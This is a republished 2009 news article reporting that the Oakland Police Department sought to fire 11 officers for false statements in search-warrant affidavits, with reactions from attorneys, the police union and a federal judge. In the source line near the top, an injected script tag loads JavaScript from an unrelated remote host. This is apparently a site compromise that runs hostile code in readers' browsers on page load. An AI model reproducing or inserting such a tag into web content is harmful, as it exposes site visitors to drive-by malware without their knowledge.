NEWS > 16 January 2009

Article sourced from

Oakland Police Department, CA<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>

Tri-Valley Herald - Pleasanton
16 January 2009

This article appeared in the above title/site.
To view it in its entirity click this link.

Oakland Police Department, CA

Oakland Police Department want

The Oakland Police Department wants to fire 11 officers at the center of the department's search warrant controversy, pending an administrative hearing, police and city officials confirmed Thursday.

The officers were told of the department's plans earlier this week through a letter sent to their homes. The group includes two sergeants but no command staff. Another officer, Karla Rush, was given notice last year that the department wanted to fire her.

The department also wants to suspend at least one officer and cleared several others, sources said. In total, 18 officers were under investigation in relation to the search warrant imbroglio.

The department wants to fire the officers because of false statements made on sworn affidavits given to judges in hopes of securing search warrants for the homes of mostly suspected small-time drug dealers in East Oakland. Some officers also were given notice because they gave untruthful statements to internal affairs investigators, authorities said.

In many of the affidavits, the officers swore substances purchased during undercover operations or through informants had been tested to prove they were drugs. However, no tests were conducted.

"An internal Police Department investigation found that officers knew or should have known that information in their affidavits regarding the testing of drugs was false," said a statement released by City Attorney John Russo. "In addition, officers were found to have made untruthful statements in response to questions from Internal Affairs investigators."

Police Chief Wayne Tucker described the officers' actions as "inexcusable."

"We demand professional conduct from all employees," he said. "The foundation of our system requires that law enforcement officials maintain the highest integrity, and once that integrity is compromised, you lose credibility, and you cannot continue to be a peace officer."

Since the department acknowledged its officers had made misstatements to judges in September, dozens of criminal cases have been placed in question, and criminal charges against 12 defendants have been dropped.

The acknowledgment also resulted in two federal civil rights lawsuits against the city and department and raised the questions from federal court-appointed overseers who were put in place to ensure the department institutes a set of reforms mandated by a settlement agreement reached over another department scandal, the Riders.

Defense attorneys and attorneys representing clients who sued the city and the department for federal civil rights violations said they were "impressed" with the department's "aggressive" action in seeking dismissal of the officers.

"I'm impressed; they are clearly taking this very seriously," said Ray Keller, an assistant public defender. "It seems like a very clear standard has been established that officers who have been found to lie under oath are going to be fired."

Said John Burris: "It's appropriate for the department to take aggressive action against officers who engaged in untruthfulness. You don't need to be trained to tell the truth."

But Mary Sansen, a partner at Rains, Lucia and Stern, a law firm that focuses on defending police officers, questioned the timing of the department's notices and said officers were being used as scapegoats. Officers were sent notices just before police brass met before a federal judge Thursday to discuss the reforms mandated from the Riders misconduct settlement.

"Historically in Oakland, the command staff never takes the hit," said Sansen, who represents 10 of 18 officers who were investigated by internal affairs. "The command staff is never held responsible for its mistakes. It's the officers and sergeants that take the hit."

Sansen said the officers she represents did not purposely lie to judges and were taught by others in the department how to write affidavits for search warrants. No formal training was ever given to the officers, she said.

"The expectation was that they would learn from the guy sitting next to them," she said. "They did not receive one bit of training. Did they make mistakes? Yes. But that is because OPD does not train its officers."

In fact, top police officials initially defended the officers, saying the problem was a result of poor training and not a malicious attempt by officers to skirt the rules in order to win a speedy search warrant.

Nevertheless, the department began an internal affairs investigation, and as criminal cases began to be dismissed and defendants released from prison, the department placed at least eight officers on paid administrative leave.

Sgt. Dom Arotzarena, president of the Oakland Police Officers Association, said the OPOA "is disappointed beyond measure by the actions of the department. The department has chosen to do the convenient thing at the expense of the right thing.

"How does the department expect these officers to do their job without the proper training and tools? These are all hard working officers whose goal was to make the city and its citizens safer."

The search warrant issue came up repeatedly Thursday morning as police and plaintiffs' attorneys met in Judge Thelton Henderson's court on the implementation of the Riders settlement.

Henderson commended the department's progress in recent years under Tucker's leadership but said he is growing "increasingly concerned" as the department enters what could be its last year under the court's watch.

"If I was faced today with the question, there's not doubt in my mind I would not find the (department) is in substantial compliance" with the settlement, he said.

He urged the department to work as diligently as possible to meet the requirements of the settlement.

"I have no desire to extend the time period, to keep going," he said. "I'd love to put a bow on this and go on to other things."

Jim Chanin, who represented 119 plaintiffs in the Riders case along with Burris, said if the department has not made the changes he and Burris want to see by the end of the one-year period, they could file a contempt of court motion to ensure they are put in place.

"I don't want to � and I live in Oakland � pick up the paper in 2011 or 2012, see some incident and have someone say, 'We didn't finish the job, we dropped the ball in the eighth inning or the ninth inning,' Chanin said.

Greg Fox, an attorney who represents the Police Department, said he is confident the threshold of "substantial compliance" with dozens of mandated reforms can be met.

"We shouldn't rush to judgment," Fox said when asked about the warrant controversy.

EiP Comments:

* We have no wish to infringe the copyright of any newspaper or periodical. If you feel that we have done so then please contact us with the details and we will remove the article. The articles republished on this site are provided for the purposes of research , private study, criticism , review, and the reporting of current events' We have no wish to infringe the copyright of any newspaper , periodical or other works. If you feel that we have done so then please contact us with the details and where necessary we will remove the work concerned.

Other related articles:

Article sourced from

Tri-Valley Herald - Pleasanton16 January 2009

Oakland Police Department want

EiP Comments:

Tri-Valley Herald - Pleasanton
16 January 2009